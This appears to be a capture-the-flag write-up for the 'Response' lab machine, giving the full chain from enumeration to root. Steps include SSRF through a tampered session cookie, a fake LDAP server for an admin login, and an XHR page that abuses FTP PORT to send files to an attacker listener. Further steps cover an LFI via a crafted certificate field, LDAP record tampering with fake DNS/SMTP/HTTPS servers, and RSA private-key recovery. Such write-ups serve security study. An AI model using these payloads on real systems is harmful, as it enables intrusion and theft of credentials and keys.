Scanning

> TARGET=10.10.11.163 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.21.6
|_http-title: Did not follow redirect to http://www.response.htb
|_http-server-header: nginx/1.21.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Domain: response.htb

Web Enum

> dirsearch -u http://www.response.htb/

[15:04:27] 301 -  169B  - /assets  ->  http://www.response.htb/assets/
[15:04:27] 403 -  555B  - /assets/
[15:04:33] 301 -  169B  - /css  ->  http://www.response.htb/css/
[15:04:37] 200 -   15KB - /favicon.ico
[15:04:38] 301 -  169B  - /fonts  ->  http://www.response.htb/fonts/
[15:04:41] 301 -  169B  - /img  ->  http://www.response.htb/img/
[15:04:41] 200 -    5KB - /index.html
[15:05:02] 301 -  169B  - /status  ->  http://www.response.htb/status/
[15:05:02] 301 -  169B  - /status?full=true  ->  http://www.response.htb/status/?full=true
[15:05:02] 200 -    2KB - /status/
  • From the above scan and found /status, browse to it and spot a js file
http://www.response.htb/status/main.js.php

chat.response.htb

  • By inspecting main.js.php, we can spot several function calls. We can call each API referenced in the functions manually to find out more info.
function get_api_status(handle_data, handle_error)
function get_chat_status(handle_data, handle_error)
function get_servers(handle_data, handle_error)
  • Checking the chat_status, we received the following response
> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://api.response.htb/get_chat_status","url_digest":"...","method":"GET","session":"...","session_digest":"..."}'

{"body":"eyJzdGF0dXMiOiJydW5uaW5nIiwidmhvc3QiOiJjaGF0LnJlc3BvbnNlLmh0YiJ9Cg==","status_code":200}

# base64 decode to:
{"status":"running","vhost":"chat.response.htb"}
  • Directly browsing to char.response.htb would receive a 403. We have to find another way to access it.
  • Examine the http://www.response.htb/status/ page, note this is a status page for various backend services.
  • The cookie PHPSESSID can be tampered, we may enter any value to start a new session. When trying some arbitrary urls in the cookie, we can see some errors in the response, indicating the cookie field can be tampered with urls.
<b>Warning</b>:  session_start(): Session ID is too long or contains illegal characters. Only the A-Z, a-z, 0-9, &quot;-&quot;, and &quot;,&quot; characters are allowed in <b>/var/www/html/status/main.js.php</b> on line <b>3</b><br />
  • The error response indicates illegal characters and outputs error content calling get_chat_status which reveals a valid session_digest used in the chat_status function, which we can use instead to access chat.response.htb. For the sake of this exercise, i used valid urls such as http://chat.response.htb/ in the cookie field in case it’s relevant for access control purpose (it turns out to be the case from later exploits).
  • After some trials and errors, we find that we can act as the proxy and forward requests to chat.response.htb by tampering the cookie field and extracting valid session_digest from it.
# Example: fetch a new session and session_digest
> curl http://www.response.htb/status/main.js.php -H 'cookie: PHPSESSID=http://chat.response.htb/' | grep session_digest

json_body = {'url':'http://api.response.htb/', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};
json_body = {'url':'http://api.response.htb/get_chat_status', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};
json_body = {'url':'http://api.response.htb/get_servers', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};


# use the session_digest to access the chat app, note that we need to replace the url_digest with the generated session_digest
> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://chat.response.htb/","url_digest":"...","method":"GET","session":"http://chat.response.htb/","session_digest":"..."}' | jq -r ".body" | base64 -d

<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="/favicon.ico"><title>Internal Chat</title><link href="/css/app.3e20ea60.css" rel="preload" as="style"><link href="/js/app.52b61e62.js" rel="preload" as="script"><link href="/js/chunk-vendors.bc02b591.js" rel="preload" as="script"><link href="/css/app.3e20ea60.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but this application doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><div id="div_download" style="position:absolute;bottom:10px;right:10px;"><a href="files/chat_source.zip" style="text-decoration:none;color:#cccccc;">download source code</a></div><script src="/js/chunk-vendors.bc02b591.js"></script><script src="/js/app.52b61e62.js"></script></body></html>
  • In the above response, we see there is a files/chat_source.zip file. Downloading this source follows a similar approach, remember to replace the url with the path to the zip file.
> curl http://www.response.htb/status/main.js.php -H 'cookie: PHPSESSID=http://chat.response.htb/files/chat_source.zip' | grep session_digest

> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://chat.response.htb/files/chat_source.zip","url_digest":"<sessid>","method":"GET","session":"http://chat.response.htb/files/chat_source.zip","session_digest":"<sessid>"}' | jq -r ".body" | base64 -d > chat_source.zip
  • Unzip the file and we can see the source code of the chat app.
  • From chat_source/server/index.js, we found a username and password guest:guest and a method that accesses a ldap server (apparently the app uses ldap for authentication purpose).
async function authenticate_user(username, password, authserver) {

  if (username === 'guest' && password === 'guest') return true;

  if (!/^[a-zA-Z0-9]+$/.test(username)) return false;
  
  let options = {
    ldapOpts: { url: `ldap://${authserver}` },
    userDn: `uid=${username},ou=users,dc=response,dc=htb`,
    userPassword: password,
  }
  try {
    return await authenticate(options);
  } catch { }
  return false;

}
  • From line 66-72, we spot that the authserver can be tampered (client-side controlled unvalidated input) hence we may be able to fake a ldap auth server to login as a different user.
const authserver = socket.handshake.auth.authserver;
if (!authserver) {
    return next(new Error("missing authserver"));
}
if (!await authenticate_user(username, password, authserver)) {
    return next(new Error("authentication error"));
}

Exploting bob

  • Before we can easily exploit the chat app, we need to make it more convenient to access the chat app. Because the url we put into the session cookie seems to be used for session control purpose, therefore, we need to create a python proxy script to automatically create new sessions using the url we want to access and forwards it to the target.
  • For the browser (later we’ll use to browse the chat app) to forward requests to chat.response.htb to our python proxy script, add an entry for chat.response.htb and point to attacker’s host.
  • Create a python script that proxies GET and POST requests with digests so that we can use to access the chat app more conveniently. Below is the script i used:
import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import re
import requests


class ProxyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.request_handler('GET')

    def do_POST(self):
        self.request_handler('POST')

    def request_handler(self, method):
        url = 'http://chat.response.htb' + self.path
        print(f"{method}: {url}")

        post_body = self.rfile.read(int(self.headers.get('Content-Length'))) if method == 'POST' else None
        d = self.proxy(url, method, post_body)
        
        if self.path.endswith('.js'):
            content_type = "application/javascript"
        elif self.path.endswith('.css'):
            content_type = "text/css"
        else:
            content_type = "text/html"
        self.send_response(200)
        self.send_header("Content-type", content_type)
        self.end_headers()
        self.wfile.write(d)

    def proxy(self, url, method, body=None):
        r = requests.get('http://www.response.htb/status/main.js.php', cookies={'PHPSESSID': url})
        d = {
            'url': url,
            'url_digest': re.search(r'\'session_digest\':\'([^\']+)', r.text).group(1),
            'method': method,
            # can use the session and session_digest values found in main.js.php
            'session': '50738285afdeabcba6fbfbd97df02259',
            'session_digest': 'd777a64491c24fb5503128d5ed8f76ef87de00e78920f9fbe1d0b8844affcbc2'
        }
        if method == 'POST':
            # note that the post body is base64 encoded
            d['body'] = base64.b64encode(body)
        r = requests.post('http://proxy.response.htb/fetch', json=d)
        return base64.b64decode(r.json()['body'])


webServer = HTTPServer(('0.0.0.0', 80), ProxyServer)

try:
    webServer.serve_forever()
except KeyboardInterrupt:
    pass

webServer.server_close()
  • With the proxy script running, browse to http://chat.response.htb and login as guest.
  • bob is online and will talk to us:
i need to talk to admin, NOW! 
  • We should be able to tamper the authserver parameter to point to our fake ldap server and login as admin for bob to trust us.
  • Intercept the login request to the chat app with burp and change the username and authserver parameters. We can run a simple netcat command as a poc.
> nc -vnlp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:34706.
09`4%uid=admin,ou=users,dc=response,dc=htbpassword
  • We should be able to receive a ldap request from the chat app like above. This proves our concept. All we need to do next is to run a proper ldap server to authenticate the request.

Fake ldap server

  • Using https://github.com/glauth/glauth to setup a fake ldap server, get the sample config from the repo and change the following parameters for the server to match with the target
# line 23
listen = "0.0.0.0:389"

# line 38
nameformat = "uid"

# line 70
name = "admin"
# line 79
object = "ou=users,dc=response,dc=htb"

# line 137
name = "users"
  • Run the tool
# note the default password is: dogood
> ./glauth-linux-amd64 -c sample-simple.cfg
  • Now, repeat the same process, intercept the login request, change the username, password and authserver address and login as admin.
40{"username":"admin","password":"dogood","authserver":"<attacker-ip>"}

# from the fake ldap server, we should see something like below
> ./glauth-linux-amd64 -c sample-simple.cfg
Thu, 05 Jan 2023 20:23:20 -0500 INF Debugging enabled
Thu, 05 Jan 2023 20:23:20 -0500 INF AP start
Thu, 05 Jan 2023 20:23:20 -0500 INF Web API enabled
Thu, 05 Jan 2023 20:23:20 -0500 INF Starting HTTP server address=0.0.0.0:5555
Thu, 05 Jan 2023 20:23:20 -0500 INF Loading backend datastore=config position=0
Thu, 05 Jan 2023 20:23:20 -0500 INF LDAP server listening address=0.0.0.0:389
Thu, 05 Jan 2023 20:23:52 -0500 INF Bind request basedn=dc=response,dc=htb binddn=uid=admin,ou=users,dc=response,dc=htb src=10.10.11.163:42786
Thu, 05 Jan 2023 20:23:52 -0500 INF Bind success binddn=uid=admin,ou=users,dc=response,dc=htb src=10.10.11.163:42786
  • After login as admin, talk to bob. We will see the following conversation.
(bob)
admin! do u have a second?
(yourself)
yes
(bob)
awesome!
i moved the internal ftp server... the new ip address is 172.18.0.4 and it is listening on port 2121. the creds are ftp_user / S*********5
outgoing traffic from the server is currently allowed, but i will adjust the firewall to fix that
btw. would be great if you could send me the javascript article you were talking about 

ftp -> user flag

  • From the messages of bob, we learnt that there is a FTP server at 172.18.0.4 and the credential to access it. Also, bob seems to be expecting a link from us. We can use this trust to setup a http server with js code that accesses the FTP server, then send it to bob to access the FTP server for us.
  • Create a html page and serve it. This will use the FTP server’s PORT command to exfiltrate data for us. For more detail on how the PORT command works, refer to: https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp#some-ftp-commands
  • Create and serve the html file.
<html>
  <body>
    <script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.0.4:2121/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("USER ftp_user\r\nPASS S*********5\r\nPORT 10,10,xx,xx,0,88\r\nLIST\r\n");
    </script>
  </body>
</html>
  • Setup a nc listener on port 88 to receive the response.
> nc -vnlp 88
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::88
Ncat: Listening on 0.0.0.0:88
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:38126.
-rw-r--r--    1 root     root            74 Mar 16  2022 creds.txt
  • then we can change the command to RETR creds.txt to get the content of the text file
> nc -vnlp 88
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::88
Ncat: Listening on 0.0.0.0:88
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:38538.
ftp
---
ftp_user / S*********5

ssh
---
bob / F*************************M
  • NOTE: for some reason, in order for the link to work, we have to first answer “yes” to bob and wait for him to spit out all the conversation until he asks for the link. Then we paste our http server link to him.
  • Now, login as bob via ssh to fetch the user flag

PE: scryh

  • Examine the file system found an interesting folder at: /home/scryh/scan
  • Reading the content found admin user’s password in /home/scryh/scan/scan.sh: a***************3
  • Reading through the scripts in this folder, this seems like a task that uses nmap to perform some scanning tasks.
  • Reading through the nse scripts in /home/scryh/scan/scripts found some differences for the script ssl-cert.nse that could be useful to us.
> diff /usr/share/nmap/scripts/ssl-cert.nse home/scryh/scan/scripts/ssl-cert.nse
  • From the diff, we spot that there is a new function read_file added in the target’s ssl-cert script which is then used in get_countryName and get_stateOrProvinceName. This function may be exploited to read arbitrary files (i.e LFI). Pay particular attention to the following part of the script, the way the read_file method is used implies a LFI vulnerability because subject['stateOrProvinceName'] is controllable by us (by generateing a self-signed ssl cert with a malicious payload in stateOrProvinceName field). So, we can create a certificate with stateOrProvinceName set to something like ../../../.ssh/id_rsa to read the private key.
local function get_stateOrProvinceName(subject)
  stateOrProvinceName = read_file('data/stateOrProvinceName/' .. subject['stateOrProvinceName'])
  if (stateOrProvinceName == '') then
    return 'NO DETAILS AVAILABLE'
  end
  return stateOrProvinceName
end

Understanding scan.sh

  • Reading through scan.sh, this script is used for several things
    • fetch domain name by manager id in the ldap server
    • resolve domain name by the default dns (127.0.0.1) first, if failed, check the test server’s IP (referenced by the manager’s id) and attempt to resolve the IP from the test server.
    • perform a scan on port 443 of the test server, generate a pdf report and send the report to a smtp server identified by the resolved IP from above
  • So, to exploit this, we could login to the ldap server (since we have the admin’s password) and change the test server’s IP to point to our attacker box. Therefore, all DNS, SMTP and HTTPS scanning requests are directed to our controlled IP.
  • On the attakcer’s box, we need to setup a fake DNS server (to provider name resolution), a fake HTTPS server (for the scan task and to exploit the LFI) and a SMTP server (to receive the email).
  • Check the target domain by fetching the manager’s info in ldap, i.e: response-test.htb
> /usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w a***************3 -s sub -b 'ou=customers,dc=response,dc=htb'

# marie, customers, response.htb
dn: uid=marie,ou=customers,dc=response,dc=htb
objectClass: inetOrgPerson
cn: Marie Wiliams
sn: Marie
uid: marie
mail: marie.w@response-test.htb
  • Check the server IP that matches the manager user, we can tamper this IP to point to us
> /usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w a***************3 -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)'

# TestServer, servers, response.htb
dn: cn=TestServer,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: TestServer
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 172.18.0.6

Fake servers setup

  • Fake https server
# Can use the example here: https://gist.github.com/dergachev/7028596
# To create a self-signed .pem key
> openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

# Note: to exploit the LFI, set the following parameter like below
# State or Province Name (full name) [Some-State]:../../../.ssh/id_rsa
  • Fake smtp server
# python3 has an smtpd module
> python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25
  • Fake DNS server
> dnschef -i <attacker-ip> --fakemail response-test.htb --fakedomains response-test.htb --fakeip <attacker-ip>

Trigger the attack

dn: cn=TestServer,ou=servers,dc=response,dc=htb
changetype: modify
replace: ipHostNumber
ipHostNumber: <attacker-ip>
  • This will update the ldap record so that dns, mail and scan-ip are all pointed to our fake servers
> /usr/bin/ldapmodify -a -x -D 'cn=admin,dc=response,dc=htb' -w a***************3 -H ldap:// -f mod.ldif
  • Wait a while and receive the pdf scan report in attachment (base64 encoded) sent to us in the fake smtp server.
  • Parse the output and convert to pdf file to see the scan result.
  • From the scan result, we can grab the id_rsa key for the user scryh. Now, we can login as scryh

PE: root -> recover zip

  • After login, we can find a folder at /home/scryh/incident_2022-3-042 with some files in it. Copy these to local for further analysis.
  • By reading the IR_report.pdf, we learnt that there was an incident and someone uploaded a binary to the admin’s machine.
  • By reading the dump.pcap file, we can locate a http stream where the attacker tricked the admin to download a binary file: auto_update.
  • We can use wireshark’s built-in export feature to export this binary file. For more details: https://www.rubyguides.com/2012/01/four-ways-to-extract-files-from-pcaps/
  • Once the binary is extracted, we can reverse it using ghidra. With some time, we can confidently say the binary used is this: https://github.com/rapid7/mettle. We can see a reference to /mettle/mettle/src/main.c in the main function after reverse. This is actually created a meterpreter session.
  • By reading the incident response report and the .pcap file, we understand that the attacker used a meterpreter session (also evidented by the finding of mettle from above) and likely transferred a zip file.
  • We can, later, find the meterpreter sessions in the pcap encrypted in TLV format, which uses the standard AES-256 for encryption. This means, we should be able to find an AES-256 key in the core dump file (AEK encryption/descryption takes place in the memory).
  • To extract the AES key, we can use aeskeyfind. For more on AES key finding, refer to: https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9
> aeskeyfind core.auto_update 
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
Keyfind progress: 100%
  • To extract the TLV streams from the pcap file, we first identified that the attacker’s ip is 10.10.13.42 and the admin’s ip is 10.10.13.37. Set the wireshark filter as: ip.src==10.10.13.37&&ip.dst==10.10.13.42. Then look at the stream that goes to a destination port of 4444 (i.e tcp.stream eq 97).
  • To extract the part that is relevant to our usage, follow the below steps:
* Follow the TCP stream 97
* In the bottom-left filter, change 'Entire conversation' to '10.10.13.37:41658 -> 10.10.13.42:4444' # we only need the receive part
* In the bottom-middle filter, Show data as: Raw
* Now you should have all the received streams (likely shown in red)
* Among all the streams (70 lines in total), two of them actually represent a zip file split into two parts.
    * Part 1: line 19-63 (incl)
    * Part 2: line 64-67 (incl)
  • With Part 1 and Part 2 identified. We now need to decrypt these two streams, i used a python library meterpreter_traffic_parser and the following script. Concat all lines in Part 1 into one line to form a very very very long hex string. Same goes for Part 2.
from meterpreter_traffic_parser import *
from Crypto.Util.number import long_to_bytes

aes_key = b'extracted_aes_key' # format \x00\x00\x00\x00.......

data = 0xextractect_long_stream_1 # this is of type long

p = Packet(long_to_bytes(data), aes_key)
p.describe()
  • The above script will produce a large bytestring in the last payload section. Save this bytestring to a file and do the same for Part 2 stream.
  • Concat the two bytestrings into one final bytestring. This is the byte form of the zip file we are trying to recover.
  • All we need to do now is to covert the bytestring to a zip file.
bystringdata = b'your_final_concated_byte_string_of_the_two_parts'

with open("recovered.zip", "wb") as binary_file:
    binary_file.write(bystringdata)
  • Now, unzip this zip file and you should find 5 files in a folder called Documents:
> ls -la Documents
total 1276
drwxr-xr-x 2 root root    4096 Mar 14  2022  .
drwxr-xr-x 8 root root    4096 Jan  4 18:31  ..
-rw------- 1 root root     567 Mar 14  2022  authorized_keys
-rw------- 1 root root    1522 Mar 14  2022  bookmarks_3_14_22.html
-rw-rw-r-- 1 root root 1278243 Jun 15  2022 'Screenshot from 2022-06-15 13-37-42.png'
-rw-rw-r-- 1 root root     245 Mar 14  2022  .tmux.conf
-rw-rw-r-- 1 root root      95 Mar 14  2022  .vimrc

PE: root -> private key recovery

  • authorized_keys is the public key of the root user. This can help us to identify the n value used for RSA. We’ll come back to this later.
  • From the recovered screenshot, we can read a partial openssh private key. i searched for a picture recognition tool online to help doing the initial convertion, and then checked it letter by letter for 3 times to ensure i’ve got things correctly.
-----BEGIN OPENSSH PRIVATE KEY-----
ntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb/JH88XvGhu1Bo2zomIhaV
MrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis/CrS5u69F6tUZjlUdNE1zIE
7********************************************************************D
K26Z7ZzdV2ln2kyiLfokN8WbYxHeQ/7/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBs
Z7bG8Warkycj7ZAAAADXJvb3RAcmVzcG9uc2UBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
  • The key is truncated, therefore we need to find a way to get useful information from it. Here, we need to understand two things first:
    • RSA encryption/decryption algorithms
    • OPENSSH private key format

RSA encryption/decryption algorithms

# https://en.wikipedia.org/wiki/RSA_(cryptosystem)

* Choose two distinct prime numbers, p and q
* n = pq
* Compute the Carmichael's totient function of n: λ(n) = lcm(p − 1, q − 1)
* Choose any number 1 < e < λ(n) that is coprime to λ(n)
* Compute d, the modular multiplicative inverse of e (mod λ(n))

* Public key contains n and e
* Encryption process: cipher = msg^e mode n

* Private key contains n and d
* Decryption process: msg = cipher^d mod n
  • All computation can be derived once n and (p or q) is obtained. The public key already contains n. So, we just need to obtain either p or q from the partial private key

OPENSSH private key format

# https://coolaj86.com/articles/the-openssh-private-key-format/
"openssh-key-v1"0x00    # NULL-terminated "Auth Magic" string
32-bit length, "none"   # ciphername length and string
32-bit length, "none"   # kdfname length and string
32-bit length, nil      # kdf (0 length, no kdf)
32-bit 0x01             # number of keys, hard-coded to 1 (no length)
32-bit length, sshpub   # public key in ssh format
    32-bit length, keytype
    32-bit length, pub0
    32-bit length, pub1
32-bit length for rnd+prv+comment+pad
    64-bit dummy checksum?  # a random 32-bit int, repeated
    32-bit length, keytype  # the private key (including public)
    32-bit length, pub0     # Public Key parts
    32-bit length, pub1
    32-bit length, prv0     # Private Key parts
    ...                     # (number varies by type)
    32-bit length, comment  # comment string
    padding bytes 0x010203  # pad to blocksize (see notes below)
  • OPENSSH private key are base64 encoded. So, from the partial private key, we can decode it and examine what information we can retrieve from there. Hopefully, we can find either a p or q value.

Decrypting the partial private key

  • Coming back to the truncated private key. If we directly base64 decode the partial key, we will receive an invalid input error. This is due to the key is truncated and base64 is a 6 bit encoding method. So, we can remove from the left of the base64 encoded string letter-by-letter, until the base64 decode doesn’t output an error. In this case, we just need to remove n and t, the rest can be decoded correctly.
> echo -n '<root_key_base64_string>' | base64 -d | hexdump -C

00000000  11 dd ca 9d 63 69 91 bc  29 db cb d5 81 ab 14 3a  |....ci..)......:|
00000010  ad c2 40 16 c3 39 00 00  00 c1 00 c7 0b 1a 19 70  |..@..9.........p|
...
000000d0  c6 7b 6c 6f 16 6a b9 32  72 3e d9 00 00 00 0d 72  |.{lo.j.2r>.....r|
000000e0  6f 6f 74 40 72 65 73 70  6f 6e 73 65 01 02 03 04  |oot@response....|
000000f0  05                                                |.|
000000f1
  • Inside this part of the hexdump, we are actually able to identify the q value used in the formula n = p * q. We will come back to this later.
  • From this hexdump, we are able to recognize some patterns, note the padding part 01 02 03 04 05 and comment part root@response. With the above reference of OPENSSH structure, we can identify a few things:
    • On line 000000e0: 01 02 03 04 05 is the padding part
    • From line 000000d0 and 000000e0, we can identify the comment section: root@response
    • So, from line 000000d0 and above, it should largely be the private key section
  • Yet, we still need to figure out what information we can get from the line 000000d0 and above. It’s actually the q value. Below is how it was identified.
  • Remember that we have obtained scryh’s private key before? Since this key was generated on the same machine, we can use this as a reference to help us identifying what information we can obtain from the partial private key.
  • The partial private key obtained only contains 5 lines of information (and we also remove the first 2 letter for base64 decoding). We can adopt the same pattern and base64 decode scryh’s private key.
> echo -n '<scryh_key_base64_string>' | base64 -d | hexdump -C
00000000  65 ed a4 7d 55 af 2e 97  d0 76 fe 01 9a ea e6 42  |e..}U....v.....B|
00000010  d2 35 cc a3 69 97 00 00  00 c1 00 d7 28 84 6d e6  |.5..i.......(.m.|
...
000000d0  37 31 e5 eb 9c e2 92 32  9f ec c1 00 00 00 0d 72  |71.....2.......r|
000000e0  6f 6f 74 40 72 65 73 70  6f 6e 73 65 01 02 03 04  |oot@response....|
000000f0  05                                                |.|
000000f1
  • At the same time, we can use openssh_key_parser https://pypi.org/project/openssh-key-parser/ to decode the entire scryh’s private key to help with our understanding. We can see the p and q value in the private key of scryh.
> python -m openssh_key scryh.id_rsa

{
    "data": [
        [
            {
                "header": {
                    "key_type": "ssh-rsa"
                },
                "params": {
                    "data": {
                        "e": 65537,
                        "n": ...
                    }
                },
                "footer": {},
                "clear": {}
            },
            {
                "header": {
                    "key_type": "ssh-rsa"
                },
                "params": {
                    "data": {
                        "n": ...,
                        "e": 65537,
                        "d": ...,
                        "iqmp": ...,
                        "p": ...,
                        "q": 202577...
                    }
                },
                "footer": {
                    "comment": "root@response"
                },
                "clear": {}
            }
        ]
    ],
    "byte_string": "b'openssh-key-v1....'",
    "header": {
        "auth_magic": "b'openssh-key-v1\\x00'",
        "cipher": "none",
        "kdf": "none",
        "kdf_options": "b''",
        "num_keys": 1
    },
    "cipher_bytes": "b'....'",
    "kdf_options": {
        "data": {}
    },
    "decipher_bytes": "b'....'",
    "decipher_bytes_header": {
        "check_int_1": 842504330,
        "check_int_2": 842504330
    },
    "decipher_padding": "b'\\x01\\x02\\x03\\x04\\x05'"
}
  • Then, we convert the decimal value q to hex to help mapping it in the hexdump of the manually truncated scryh’s private key
> python -c 'print(hex(202577...))'

0xd72884...
  • By referring the hex value from above with the hexdump from the manually truncated scryh’s private key, we can see that the actual q value starts from line 00000010 on the 12th block and ends on 000000d0 on the 11th block. Thus, we adopt the same pattern on the root’s partial private key hexdump and obtained the q value from there:
# starts on line 00000010 on the 12th block
c7 .......... d9
# ends on `000000d0` on the 11th block
  • We then convert this hex value to int to obtain the q value in decimal
> python -c 'print(int(0xc70b...))'
1874...
# p = n/q
1916...
  • Then, we write a python script following the linked article to recover a private key.
n = ...
q = ...
p = ...
e = 0x010001
phi = (p -1)*(q-1)


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    gcd, x, y = egcd(a, m)
    if gcd != 1:
        return None  # modular inverse does not exist
    else:
        return x % m
 
d = modinv(e,phi)
dp = modinv(e,(p-1))
dq = modinv(e,(q-1))
qi = modinv(q,p)


import pyasn1.codec.der.encoder
import pyasn1.type.univ
import base64


def pempriv(n, e, d, p, q, dP, dQ, qInv):
    template = '-----BEGIN RSA PRIVATE KEY-----\n{}-----END RSA PRIVATE KEY-----\n'
    seq = pyasn1.type.univ.Sequence()
    for i,x in enumerate((0, n, e, d, p, q, dP, dQ, qInv)):
        seq.setComponentByPosition(i, pyasn1.type.univ.Integer(x))
    der = pyasn1.codec.der.encoder.encode(seq)
    return template.format(base64.encodebytes(der).decode('ascii'))


key = pempriv(n,e,d,p,q,dp,dq,qi)
f = open("recovered.key","w")
f.write(key)
f.close()
  • Convert the key to OPENSSH format
> chmod 400 recovered.key
> ssh-keygen -p -N "" -f recovered.key
  • Access the target and obtain the root flag
> ssh -i recovered.key root@response.htb